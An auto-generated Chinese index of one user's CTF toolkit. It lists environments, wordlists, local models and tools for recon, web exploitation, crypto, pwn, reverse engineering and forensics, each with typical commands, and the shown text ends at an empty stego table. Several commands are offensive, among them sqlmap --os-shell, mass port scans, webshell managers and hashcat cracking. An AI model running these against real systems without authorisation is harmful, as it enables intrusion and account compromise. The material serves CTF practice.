本机CTF工具索引
本页由 ctf-toolbook skill 自动生成于 2026-10-27。可交互版(搜索/按分类筛选/考点互跳/一键复制命令)请打开本机手册:
D:/CaptureTheFlag/CTFTool/工具速查手册.html。
手册支持 URL 深链(如工具速查手册.html#cat-crypto&q=RSA),可直接引用;有新工具时对任意 AI 说「收录新工具 XXX」即可自动重建本页。
环境速览
| 环境 | 位置 | 说明 |
|---|---|---|
| WSL Ubuntu-CTF | wsl -d Ubuntu-CTF |
默认 CTF 主力环境 Ubuntu 24.04 (noble),直接运行 wsl 即进入;完整 CTF 工具链:pwntools/z3/pwndbg/GEF/pwninit/angr/RsaCtfTool/stegseek/bulk_extractor/YARA/sqlite3/SageMath 等 |
| WSL Ubuntu-22.04 | wsl -d Ubuntu-22.04 |
备用 Ubuntu 22.04;不作为直接 wsl 入口,工具不完整;已有系统 SageMath 9.5 仅供兼容旧题,主力请用默认 Ubuntu-CTF 的 SageMath 10.2 |
| Windows Python 3.10 | C:/Users/glj07/AppData/Local/Programs/Python/Python310/python.exe |
pwntools/pycryptodome/z3/gmpy2/sympy/scapy/unicorn 已装,pip 已配清华源;binwalk Windows 版不可用,请用 WSL |
| 爆破字典库 | D:/CaptureTheFlag/CTFTool/Cryptodictionary |
46 项:rockyou、SecLists、中文字典、SSTI/JNDI/Webshell 专题、28GB超大字典.7z(按需解压);Ubuntu-CTF 已软链 /usr/share/wordlists;比赛禁止联网重下 |
| 工具根目录 | D:/CaptureTheFlag/CTFTool/ |
Windows 侧 CTF 工具约 172 项;取证工具在 D:/Forensic/ForensicTool |
| CTF 工作区 | C:/Users/glj07/Desktop/Codex工作区/Writeup/CTF |
解题过程目录 Writeup/CTF/来源/分类/题目名;WSL 内资源包 /opt/security-tools(SecLists、PayloadsAllTheThings、theHarvester) |
| 网络与镜像 | `` | 默认无 VPN 国内直连;pip/apt/gem 已配清华源;GitHub 下载可试 mirror.ghproxy.com 前缀;比赛现场避免临时下载工具 |
| IDA/JADX MCP | 记忆 ida-jadx-mcp |
AI 远程操控逆向 GUI:IDA 打开后 Ctrl+Alt+M 启动插件;JADX-GUI 需开着且 8650 端口插件在线;能查反编译/函数/字符串,不能执行脚本 |
| NSSCTF Agent Arena | skill: nssctf-agent-arena |
agent 自动领题/提交 flag 接口(nssctf-agent-arena skill,Token 在环境变量 NSSCTF_AGENT_TOKEN) |
| LM Studio 本地模型 | http://localhost:1234 |
离线本地大模型,断网比赛唯一可用的 AI 方案。LM Studio 里点 Start Server 后 OpenCode 自动发现 lmstudio provider(默认 http://127.0.0.1:1234/v1)。模型盘 C:/Users/glj07/.lmstudio/models,三个 Q4 档 24GB 显存单卡满血:Qwen3.8-27B-UD-Q4_K_XL 16.4GB(比赛默认,唯一带 mmproj 视觉投影能读题目/流量/GUI 截图,稠密 27B 指令遵循与输出格式最稳);Qwen3.6-35B-A3B-Uncensored-Genesis-MTP-APEX-Compact 16.9GB(MoE 35B 仅激活 3B,出 token 最快,适合纯文本大批量分析与日志流水);GLM-4.7-Flash-Uncensored-Hrt-NEO-CODE-MAX 16.2GB(GLM 系指令遵循好、NEO-CODE 强化,适合纯代码生成与严格格式输出)。注意:OpenCode Zen 云端免费模型是限时活动且多款不保证零保留,断网时不要依赖 |
工具清单(按分类)
🛰️ 侦察与资产收集
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| nmap | 🐧 WSL | WSL: /usr/bin/nmap |
端口扫描与服务识别,Web/Pwn 开题第一件事 | nmap -sV -A <target> nmap -p- --min-rate 5000 <target> |
| masscan | 🐧 WSL | WSL: /usr/bin/masscan |
超高速全端口扫描,nmap 全端口太慢时用 ⚠️需要 root | masscan -p1-65535 --rate 10000 <target> masscan -p80,443 --rate 5000 <target>(先确认出网口,误扫内网会被Ban) |
| amass | 🐧 WSL | WSL: /usr/local/bin/amass |
子域名深度枚举 | amass enum -d <domain> |
| subfinder | 🐧 WSL | WSL: /usr/local/bin/subfinder |
被动子域名发现,快 | subfinder -d <domain> subfinder -d <domain> -silent | httpx -title(子域+存活一条链) |
| httpx | 🐧 WSL | WSL: /usr/local/bin/httpx |
批量 HTTP 存活探测与标题/状态码 | cat hosts.txt | httpx -title -tech-detect httpx -l urls.txt -status-code -content-length -tech-detect |
| nuclei | 🐧 WSL | WSL: /usr/local/bin/nuclei |
PoC 模板批量漏洞扫描 | nuclei -u <url> -severity medium,high,critical nuclei -l urls.txt -t cves/ -severity high,critical(批量模式) |
| naabu | 🐧 WSL | WSL: /usr/local/bin/naabu |
Go 版快速端口扫描 | naabu -host <target> -p - |
| katana | 🐧 WSL | WSL: /usr/local/bin/katana |
网页爬取/链接发现 | katana -u <url> -d 3 katana -u <url> -d 2 -jc(JSON 输出便于脚本处理) |
| gau | 🐧 WSL | WSL: /usr/local/bin/gau |
聚合历史 URL(Wayback/Common Crawl) | gau <domain> gau <domain> | grep -E "\.php|\.bak|\.zip"(历史敏感文件挖掘) |
| waybackurls | 🐧 WSL | WSL: /usr/local/bin/waybackurls |
Wayback Machine 历史 URL | waybackurls <domain> |
| dnsx | 🐧 WSL | WSL: /usr/local/bin/dnsx |
DNS 解析/枚举探测 | dnsx -d <domain> -a -mx |
| whatweb | 🐧 WSL | WSL: /usr/bin/whatweb |
Web 指纹识别(框架/CMS/语言) | whatweb <url> |
| theHarvester | 🐧 WSL | WSL: /opt/security-tools/theHarvester |
邮箱/主机名 OSINT 收集 | theHarvester -d <domain> -b bing |
🌐 Web 渗透
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| sqlmap | ✅ 双端 | Win: D:/CaptureTheFlag/CTFTool/SQL注入工具包/SQL注入/sqlmap-master/sqlmap.py WSL: /usr/local/bin/sqlmap |
自动化 SQL 注入 | sqlmap -u "<url>?id=1" --batch --dbs sqlmap -r req.txt --batch --dump sqlmap -r req.txt --level 3 --risk 2 --os-shell(POST 注入升级) |
| nikto | 🐧 WSL | WSL: /usr/bin/nikto |
Web 服务器漏洞扫描器 | nikto -h <url> |
| gobuster | 🐧 WSL | WSL: /usr/bin/gobuster |
目录/子域名/虚拟主机爆破 | gobuster dir -u <url> -w /usr/share/wordlists/Seclists/Discovery/Web-Content/common.txt |
| ffuf | 🐧 WSL | WSL: /usr/local/bin/ffuf |
快速 Web fuzzer(目录/参数/Header) | ffuf -u <url>/FUZZ -w /usr/share/wordlists/Seclists/Discovery/Web-Content/raft-medium-words.txt -mc all -fc 404 |
| wfuzz | 🐧 WSL | WSL: /usr/local/bin/wfuzz |
Web 模糊测试(参数/字典替换) | wfuzz -c -z file,<wordlist> <url>/FUZZ |
| dirsearch | 🐧 WSL | WSL: /usr/bin/dirsearch |
Python 目录扫描器 | dirsearch -u <url> |
| Burp Suite | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Burpsuite/BurpSuiteV2026.8 |
HTTP 抓包改包/Intruder 爆破,Web 题核心 GUI;本机 2026.8 目录 ⚠️路径已由旧版 BurpSuite V2025.9.4 修正为实际 Burpsuite/BurpSuiteV2026.8。 | 启动后浏览器代理 127.0.0.1:8080 Intruder 爆破时字典用 D:/CaptureTheFlag/CTFTool/Cryptodictionary |
| HackBar | ❌ 未装 | — | Chrome 扩展,快速发 POST/编码请求 ⚠️2026-09-19 目录审计未找到,已移除;需要时重装 Chrome 扩展 | 浏览器加载 HackBar-chrome 目录 |
| 中国蚁剑 AntSword | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/AntSword-Loader-v4 |
WebShell 管理器(一句话连接) | 上传一句话后添加数据,连接密码=POST参数名 |
| 冰蝎 Behinder | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Behinder |
加密流量 WebShell 管理 | 配合 webshell.jsp/php 使用 |
| GitHack | 🪟 Win | Win: C:/Users/glj07/bin/githack.cmd |
.git 目录泄露还原源码 | githack.cmd <url>/.git/ |
| git-dumper | 🪟 Win | Win: C:/Users/glj07/AppData/Local/Programs/Python/Python311/Scripts/git-dumper.exe |
.git 泄露还原(GitHack 失败时用,支持 index 缺失) | git-dumper <url>/.git/ outdir |
| Xray | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Xray_1 |
自动化 Web 漏洞扫描器 | xray webscan --url <url> --html-out out.html |
| DirBuster | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/DirBuster |
Java 目录爆破(自带字典,界面直观) | java -jar DirBuster.jar -u <url> -l 目录字典 |
| scan4all | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/scan4all_2.9.1_windows_amd64.zip |
集成 27 种漏洞扫描的一体化扫描器(补 nuclei 盲区) ⚠️压缩包,用时先解压 | scan4all -t <target> |
| PHP 手册(中文增强版) | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool |
php_enhanced_zh.chm:PHP 函数中文速查,Web 题读源码/构造 payload 时查函数行为 | 双击 php_enhanced_zh.chm 打开 查危险函数(eval/system/preg_replace /e、unserialize)的确切语义 |
🔐 密码学
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| openssl | 🐧 WSL | WSL: /usr/bin/openssl |
证书/RSA/对称加密万能 CLI | openssl rsa -in key.pem -text -noout openssl rsautl -decrypt -inkey key.pem -in flag.enc |
| pycryptodome | ✅ 双端 | Win: pip (Python310) WSL: pip3 |
Python 密码学库(AES/DES/RSA 全套) | from Crypto.Cipher import AES; from Crypto.Util.number import long_to_bytes |
| gmpy2 | ✅ 双端 | Win: pip (Python310) WSL: pip3 |
大数运算库,RSA 开方/求解必备 | gmpy2.iroot(c, 3) gmpy2.invert(e, phi) |
| sympy | ✅ 双端 | Win: pip (Python310) WSL: pip3 |
符号计算(解方程/离散对数/逆元) | sympy.discrete_log(p, h, g) sympy.solve(...) |
| z3-solver | ✅ 双端 | Win: pip (Python310) WSL: pip3 |
约束求解器,逆向/密码学约束题神器 | x=Int('x'); s=Solver(); s.add(x*3==21); print(s.check(), s.model()) |
| CyberChef | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/CyberChef/CyberChef_v9.28.0.html |
编码/加密/压缩瑞士军刀,离线打开即用 | 浏览器打开 html;汉化版 SRK_Toolbox 也在 CTFTool |
| CaptfEncoder | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/CaptfEncoder-win-x64-3.1.2.exe |
CTF 编码转换集合工具 | 图形界面,适合快速试遍各种编码 |
| 轩禹CTF_RSA工具 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/轩禹CTF_RSA工具3.6 |
图形化 RSA 各类攻击一键尝试 | 填 n/e/c 或 p/q 自动算 |
| RsaCtfTool | 🐧 WSL | WSL: /opt/security-tools/RsaCtfTool + /opt/ctf-venvs/rsactftool |
RSA 攻击集合;隔离在 rsactftool venv,覆盖分解、低指数、共模、Wiener、格攻击等 ⚠️已安装现代 src 布局版本;入口 /usr/local/bin/rsacrack,运行时使用 /opt/ctf-venvs/rsactftool;Sage 可选后端在 Ubuntu-22.04。 | rsacrack --publickey key.pub --attack all wsl -d Ubuntu-CTF -- rsacrack --publickey key.pub --attack wiener |
| fastcoll | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/fastcoll_v1.0.0.5.exe.zip |
MD5 快速碰撞生成(前缀相同后缀碰撞) ⚠️压缩包,用时先解压 | fastcoll -p prefix.txt -o a.txt b.txt |
| hashid | 🐧 WSL | WSL: /usr/bin/hashid |
识别哈希/密文类型 | hashid 'e10adc3949ba...' |
| hashcat | ✅ 双端 | Win: D:/Forensic/ForensicTool/Decrypt/hashcat-7.1.2/ WSL: /usr/bin/hashcat |
GPU 口令破解;本机 RTX 5090 走 Windows 版才有 GPU 加速 ⚠️GPU 爆破用 Windows 版(WSL 无 GPU 直通);必须在 hashcat.exe 所在目录内运行(OpenCL 内核相对路径)。RTX 5090 实测 2026-09-20: MD5 ~91 GH/s、NTLM ~154 GH/s(全机 162 含核显)——rockyou 字典秒级,8位纯数字掩码分钟级,长随机口令直接换思路 | hashcat -m 0 -a 0 hash.txt D:/CaptureTheFlag/CTFTool/Cryptodictionary/rockyou hashcat -m 1000 nt.txt -a 3 ?u?d?d?d?d?d?d |
| john | 🐧 WSL | WSL: /usr/sbin/john |
经典口令破解(zip/ssh2john 转换链好用) | zip2john flag.zip > hash; john hash --wordlist=/usr/share/wordlists/rockyou |
| SageMath | 🐧 WSL | WSL: /usr/local/bin/sage -> /root/miniconda3/envs/sage/bin/sage |
数论全功能(格/椭圆曲线/多项式环);默认 Ubuntu-CTF 已装隔离 conda 环境 ⚠️SageMath 10.2 安装在 Ubuntu-CTF /root/miniconda3/envs/sage;Ubuntu-22.04 的 9.5 作为旧备用,不是默认入口。 | wsl -- sage -c "print(factor(123456789))" wsl -- sage script.sage |
| HashCalc | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/HashCalc.exe |
图形化哈希计算(MD5/SHA/CRC/base64 一键) | 拖入文件或粘贴文本选算法 |
| CTFReBox | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/CTFReBox_52 |
CTF 编码/加密集成箱(键盘码/敲击码等冷门编码也有) | GUI 按分类试 |
| 随曰 SuiYue 文本加解密 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/随波逐流原创软件/随曰 |
AES-CTR + ChaCha20-Poly1305 文本加解密,特征是【中文 Base64】:密文看上去就是一串汉字(湋渄漋泽汈溿…),CTF 里辨识度极高 ⚠️开源 https://github.com/zb848/suiyue-crypto ,pip 包名 suiyue。密文示例:湋渄漋泽汈溿溿涷泳漙灡漑汁洉漛汮… 看到这种字符直接上它。 | GUI:D:/CaptureTheFlag/CTFTool/随波逐流原创软件/随曰/SuiYue_GUI_V1.0.exe 看到一串像乱码的汉字(非正常中文、偏旁部首杂乱):先怀疑随曰加密,用它解 命令行/嵌脚本:suiyue-crypto/SuiYue.py(PBKDF2 派生密钥,需密码) 无密码时试默认密码;网页版 http://suiyue.1o1o.xyz/ 可对照 |
| ctftools V8.8 Beta(含国密) | 🪟 Win | Win: C:/Users/glj07/Desktop/ctftoolsV8.8Beta |
国产 CTF 密码工具集(PySide6 打包),支持 SM2/SM3/SM4 国密 + RSA——国内赛国密题的现成入口 | 双击 7z.dist 内的启动器(PySide6 GUI) 国密题:SM2/SM3/SM4 直接选对应算法输入密文与参数试 与 RsaCtfTool / sympy 互补:先试 GUI 再写脚本 |
💥 二进制利用 Pwn
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| pwntools | ✅ 双端 | Win: pip (Python310) WSL: /usr/local/bin/pwn (pip3) |
Pwn 全能框架:连接/payload/shellcode/ELF 解析 | from pwn import *; p=remote('ip',port) cyclic(200) / cyclic_find(0x61616162) asm(shellcraft.sh()) |
| GEF (gdb 插件) | 🐧 WSL | WSL: /opt/security-tools/gef/gef.py + /usr/local/bin/gdb-gef |
gdb 增强调试器备用;与 pwndbg 分离,通过 gdb-gef 独立入口切换 ⚠️已安装官方 GEF;独立入口加载 90 个命令,不修改全局 ~/.gdbinit,不与 pwndbg 同时加载。 | gdb-gef ./pwn gdb-gef ./pwn 后: context / heap bins / vmmap / got |
| pwndbg | 🐧 WSL | WSL: ~/.pwndbg + /usr/local/bin/gdb-pwndbg |
gdb 增强调试器;已完成私有 venv 初始化,使用独立 wrapper 不改全局 ~/.gdbinit ⚠️已验证加载 194 个 pwndbg 命令;wrapper 以 gdb -ex source ~/.pwndbg/gdbinit.py 启动。 | gdb-pwndbg ./pwn gdb-pwndbg ./pwn 后: cyclic / heap / search -s flag |
| gdb-multiarch | 🐧 WSL | WSL: /usr/bin/gdb-multiarch |
跨架构调试(配合 qemu-user 调 ARM/MIPS 题) | gdb-multiarch ./elf 后: set architecture arm; target remote :1234 |
| ROPgadget | ✅ 双端 | Win: pip (Python310) WSL: /usr/local/bin/ROPgadget |
搜索 ROP gadget | ROPgadget --binary ./pwn | grep 'pop rdi' |
| ropper | ✅ 双端 | Win: pip (Python310) WSL: /usr/local/bin/ropper |
ROP gadget 搜索备选(支持更多架构) | ropper --file ./pwn --search 'pop rdi' |
| one_gadget | 🐧 WSL | WSL: /usr/local/bin/one_gadget |
libc 中一键 execve(‘/bin/sh’) 的 magic gadget | one_gadget ./libc.so.6 one_gadget --level 5 ./libc.so.6(扩大搜索范围) |
| seccomp-tools | 🐧 WSL | WSL: /usr/local/bin/seccomp-tools |
dump 沙箱规则,看哪些 syscall 被禁 | seccomp-tools dump ./pwn |
| checksec | ✅ 双端 | Win: pip scripts WSL: /usr/local/bin/checksec |
查看 ELF 保护(NX/PIE/Canary/RELRO) | checksec --file=./pwn |
| libcdb | 🐧 WSL | WSL: /usr/local/bin/libcdb |
pwntools 自带 libc 数据库查询,泄漏 libc 版本 | libcdb search printf 6?0 3?0 libcdb download libc6 2.35-0ubuntu3.4 amd64 |
| patchelf | 🐧 WSL | WSL: /usr/bin/patchelf |
改 ELF 解释器/rpath,本地挂指定 libc | patchelf --set-interpreter ./ld-2.35.so --set-rpath . ./pwn |
| qemu-user | 🐧 WSL | WSL: /usr/bin/qemu-x86_64 等 |
用户态模拟跑跨架构二进制(ARM/MIPS pwn) | qemu-arm -L /usr/arm-linux-gnueabihf ./elf qemu-arm -g 1234 ./elf 后 gdb-multiarch 远程连 |
| strace/ltrace | 🐧 WSL | WSL: /usr/bin/strace |
系统调用/库函数动态追踪,看程序行为 | strace ./pwn ltrace ./pwn |
| socat | 🐧 WSL | WSL: /usr/bin/socat |
把本地 binary 起成网络服务模拟远程 | socat TCP-LISTEN:9999,reuseaddr,fork EXEC:./pwn,stderr |
| nc | 🐧 WSL | WSL: /usr/bin/nc |
连接远程靶机/手测服务 | nc <ip> <port> |
| musl-gcc | 🐧 WSL | WSL: /usr/bin/musl-gcc |
编译 musl libc 环境的题目配套程序 | musl-gcc main.c -o pwn |
| gcc/g++ | 🐧 WSL | WSL: /usr/bin/gcc |
编译利用代码与本地复现 | gcc exp.c -o exp gcc vuln.c -o vuln -fno-stack-protector -no-pie -z execstack |
| exp 模板库 ~/CTF | 🐧 WSL | WSL: ~/CTF/templates |
WSL 预置 exp 模板:ret2libc/格式化字符串/shellcode/RSA攻击函数库/one-liner速查,cp 下来改参数就用 ⚠️2026-09-19 重建(原 ~/CTF 工作区已丢失,模板+速查恢复) | cp ~/CTF/templates/pwn_ret2libc.py exp.py 后改 OFFSET/POP_RDI/IP/PORT wsl -d Ubuntu-CTF -- python3 ~/CTF/templates/crypto_rsa_box.py(small_e/fermat/wiener/rabin/共模函数直接调) cat ~/CTF/templates/cheatsheet.md 查 tshark/fcrackzip/binwalk/vol 等 one-liner |
| pwninit | 🐧 WSL | WSL: /usr/local/bin/pwninit |
按题目 libc/ld 自动 patch Pwn 二进制并生成调试模板 ⚠️官方 release 3.3.3,SHA-256 已核验;适合题目目录内运行。 | pwninit pwninit --bin ./pwn --libc ./libc.so.6 |
🔍 逆向工程
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| IDA Pro(8.3 / 9.4 汉化) | 🪟 Win | Win: C:/Users/glj07/Desktop/IDA94ProBable_CN |
最强静态反汇编/反编译,主逆向工具。现用 9.4 汉化版(含 capa-rules 与 MCP 配置图),8.3 仍在旧目录 ⚠️9.4 版目录含 Hook.log/IDAHook.log(hook 记录)与 dbgsrv(远程调试服务);官方 MCP 已配到 8948 共享 HTTP(见记忆 ida-official-mcp)。 | 9.4 汉化:C:/Users/glj07/Desktop/IDA94ProBable_CN/ 下的 ida.exe/ida64.exe F5 反编译;MCP 插件按 Ctrl+Alt+M 启动后 AI 可远程操作 Shift+F12 看字符串;N 重命名,X 交叉引用 capa 规则在 IDA94ProBable_CN/capa-rules(能力识别) MCP 接入配置见 IDA MCP配置图/ 目录截图 |
| Ghidra 11.2 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/ghidra_11.2_PUBLIC_20240926.zip |
NSA 免费反编译器,IDA 备选,支持多架构 | 解压后 analysisHeadless 或 GUI |
| JEB 5.0 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/JEB_5_0_0_202308071454搭配400M+的7Z使用 |
Android/原生混合逆向利器 | GUI 加载 apk;解压密码注意配套 7z 说明 |
| dnSpy | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/dnSpy-net-win64 |
.NET 程序反编译/动态调试 | 打开 exe/dll 直接看 C# 源码,可改 IL |
| jadx-gui-ai | 🪟 Win | Win: D:/Forensic/ForensicTool/Others/jadx-gui-ai-master/ |
Android 反编译 GUI + AI MCP 插件(8650 端口) | 先启动 GUI 再让 AI 通过 MCP 查询 启动 GUI→导入 APK→搜索数据库/API/密钥 |
| jd-gui | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/jd-gui.exe |
Java class/jar 反编译 | 拖入 jar 看 java 源码 |
| radare2/rabin2 | 🐧 WSL | WSL: /usr/bin/r2 |
命令行逆向框架;rabin2 快速看 ELF 信息 | r2 -A ./elf 后: afl/izz/pdf @main rabin2 -I ./elf |
| upx | ✅ 双端 | Win: D:/CaptureTheFlag/CTFTool/UPX/upx-5.0.2-win64/upx.exe WSL: /usr/bin/upx-ucl |
UPX 加壳/脱壳 | upx -d file -o unpacked |
| DiE 查壳 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/DiE查壳工具 |
Detect It Easy 识别壳/编译器/打包器 | GUI 拖入文件 |
| pyinstxtractor | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/pyinstxtractor-2023.12 |
PyInstaller 打包的 exe 还原出 pyc | python pyinstxtractor.py target.exe 后用 pycdc/uncompyle 反编译主文件 |
| x64dbg | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/x64dbg.lnk |
Windows 用户态调试器(破解题/动态分析) | F2 下断,F8 步过,F7 步入 |
| WinDbg | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/WinDbg.lnk |
Windows 内核/高级调试 | 内核题/驱动题使用 |
| OllyICE | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/OllyICE_1.10 |
经典 OllyDbg 中文修改版,32 位破解题 | F2 断点 + 字符串搜索 |
| 010 Editor | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/010Editor |
十六进制编辑 + 文件模板解析(改宽高/修文件头神器) | 用模板解析 PNG/ZIP 结构直接改字节 |
| WinHex / X-Ways | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Xways Winhex 19.8 Professional License |
专业十六进制/磁盘编辑,NTFS 流与恢复 | 打开磁盘/文件做底层数据恢复 |
| wabt | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/wabt-1.0.35-windows.tar.gz |
WebAssembly 工具集(wasm2wat/wat2wasm) ⚠️压缩包,用时先解压 | wasm2wat main.wasm -o main.wat |
| dex-tools | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/dex-tools-v2.4 |
dex2jar(APK dex 转 jar 再配 jd-gui) | d2j-dex2jar.bat app.apk 再 jd-gui 打开 jar |
| Resource Hacker | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Resource Hacker -5.2.6425简体中文-色汉化版 |
exe 资源提取/替换(图标/对话框/字符串表里藏 flag) | 打开 exe 展开 RC 数据/字符串表 |
| zipalign | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/zipalign.exe |
APK 对齐校验(Android 逆向配套) | zipalign -c 4 app.apk |
| angr | 🐧 WSL | WSL: /opt/ctf-venvs/angr/bin/python |
隔离虚拟环境中的符号执行/CFG 分析框架(含 Unicorn 后端) ⚠️angr 10.0.0 + Unicorn 2.1.4;不改系统 Python,入口 angr-python。 | /opt/ctf-venvs/angr/bin/python solve.py angr-python solve.py |
| 汇编查询工具 | 🪟 Win | Win: C:/Users/glj07/Desktop/汇编查询工具 |
汇编指令速查(x86 指令/寄存器/标志位含义),逆向读汇编时随手查 | 启动 汇编查询.exe,输入助记符或浏览指令表 看不懂的指令/条件跳转含义直接查 |
| 二进制反汇编(小工具) | 🪟 Win | Win: C:/Users/glj07/Desktop |
桌面单文件反汇编小工具,快速查看指令流(无版本信息,轻量应急) ⚠️exe 无 VersionInfo,功能范围未实测;有 IDA 时不优先用。 | 双击 二进制反汇编.exe 打开目标文件看反汇编 正式逆向仍用 IDA / Ghidra,这个只做快速一瞥 |
🕵️ 取证与流量
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| binwalk | ✅ 双端 | WSL: /usr/bin/binwalk |
固件/文件内嵌数据扫描与提取 ⚠️Windows pip 包损坏(缺 binwalk.core),统一使用 WSL 版;提取输出仍写到工作副本 | binwalk -Me file |
| foremost | ✅ 双端 | Win: D:/CaptureTheFlag/CTFTool/CTF-NetA-V2.11.15/plugins/foremostlrb/foremost.exe WSL: /usr/bin/foremost |
按文件头 carving 恢复文件 | foremost -i img.png -o out/ foremost -i evidence.img -o out/(取证输出目录先建好) |
| exiftool | 🐧 WSL | WSL: /usr/bin/exiftool |
读/写文件元数据(EXIF 隐藏信息) | exiftool img.jpg exiftool -a -u -g1 img.jpg(全元数据含隐藏字段) |
| volatility3 | ✅ 双端 | Win: D:/Forensic/ForensicTool/Decrypt/volatility3-develop/volatility3-develop/vol.py WSL: /usr/local/bin/vol |
内存取证标准工具 | vol -f mem.raw windows.info vol -f mem.raw windows.filescan | grep flag vol -f mem.raw windows.pslist vol -f mem.raw windows.filescan |
| Wireshark | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Wireshark/Wireshark.exe |
流量分析 GUI(协议层级/流追踪) | 右键 Follow TCP Stream;导出对象 File>Export Objects>HTTP 统计>协议分层 / 会话——取证案件先看协议分布 |
| tshark | ✅ 双端 | Win: D:/CaptureTheFlag/CTFTool/Wireshark/tshark.exe WSL: /usr/bin/tshark |
Wireshark 命令行版,脚本化流量提取 | tshark -r a.pcapng --export-objects http,outdir tshark -r a.pcapng -Y 'http.request' -T fields -e http.request.uri |
| tcpdump | 🐧 WSL | WSL: /usr/bin/tcpdump |
命令行抓包 | tcpdump -i eth0 -w out.pcap |
| CTF-NetA | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/CTF-NetA-V2.11.15 |
CTF 流量题一键分析工具(含 USB 键鼠流量) | 拖入 pcap 自动出报告 |
| USBPcap | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/USBPcap |
Windows USB 抓包驱动 | 配合 Wireshark 抓 USB 键盘流量 |
| bulk_extractor | 🐧 WSL | WSL: /opt/security-tools/bulk_extractor/bin/bulk_extractor |
批量提取文件中的邮箱/URL/密钥等特征;官方 v2.2.0 源码编译版 ⚠️已用 Ubuntu 官方开发库 + RE2 编译安装;版本 2.2.0。 | bulk_extractor -o outdir image.raw bulk_extractor -o outdir evidence_dir/ |
| untrunc | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/untrunc_x64 |
损坏 MP4 视频修复 | untrunc 参考完整.mp4 损坏.mp4 |
| lads | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/lads.exe |
NTFS ADS 交换数据流检测 | lads /s D:\ lads /s D:\;PowerShell Get-Item -Stream * |
| LastActivityView | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/LastActivityView.exe |
Windows 主机活动痕迹一键查看 | 运行即出报告 |
| sqlcipher | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/sqlcipher-3.0.1 |
加密 SQLite 数据库读取 | PRAGMA key='pass'; 后正常查询 PRAGMA cipher_version;(先验证库确实加密再试 key) sqlcipher db.sqlite PRAGMA key="pass" |
| TrueCrypt | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/TrueCrypt Setup 7.1a.exe |
老牌加密容器(挂载 tc 卷取证) | Select File 选 .tc 输密码挂载 |
| WeFlow | 🪟 Win | Win: C:/Users/glj07/Desktop/Codex工作区/工具/WeFlow |
微信 4.0+ 聊天记录本地查看/导出/朋友圈解密,含本地 HTTP API | 运行 exe 自动读取本地微信数据;导出记录写进取证报告 |
| SQLite Expert | 🪟 Win | Win: D:/Forensic/ForensicTool/Database/SQLite Expert Professional-专门用于查看、编辑和分析SQLite数据库文件(常见于手机App) |
SQLite 图形化浏览(Chrome历史/聊天库/取证库直接开) | 打开 .db/.sqlite 看表;损坏库试 Recover |
| R-Studio | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/R-Studio |
专业数据恢复(删除文件/RAID/签名扫描) | 打开磁盘/镜像 -> Scan -> 按签名恢复 |
| DiskGenius | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/diskgenius吾爱专业破解版 v5 |
磁盘分区/恢复/镜像挂载 | 打开磁盘恢复文件;镜像可挂载浏览 |
| Python-dsstore | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Python-dsstore |
.DS_Store 文件解析(苹果目录泄露文件名) | python main.py <.DS_Store> 列出隐藏文件名 |
| VBCABLE | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/VBCABLE_Driver_Pack43 |
虚拟声卡驱动(把音频环路录给 SSTV 等解码器) | 装驱动后播放设备设为 CABLE Input 再录制 |
| YARA | 🐧 WSL | WSL: /usr/bin/yara |
恶意样本/取证特征规则匹配 ⚠️Ubuntu 24.04 官方包 4.5.0;适合本地样本和 CTF 附件。 | yara -w rules.yar sample.bin yara -r rules.yar evidence_dir/ |
| sqlite3 CLI | 🐧 WSL | WSL: /usr/bin/sqlite3 |
SQLite 数据库命令行检查、导出与损坏库初筛 ⚠️Ubuntu 24.04 官方包 3.45.1;加密库仍用 SQLite Expert/sqlcipher。 | sqlite3 evidence.db ".tables" sqlite3 evidence.db "select * from sqlite_master;" |
🖼️ 隐写与杂项
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
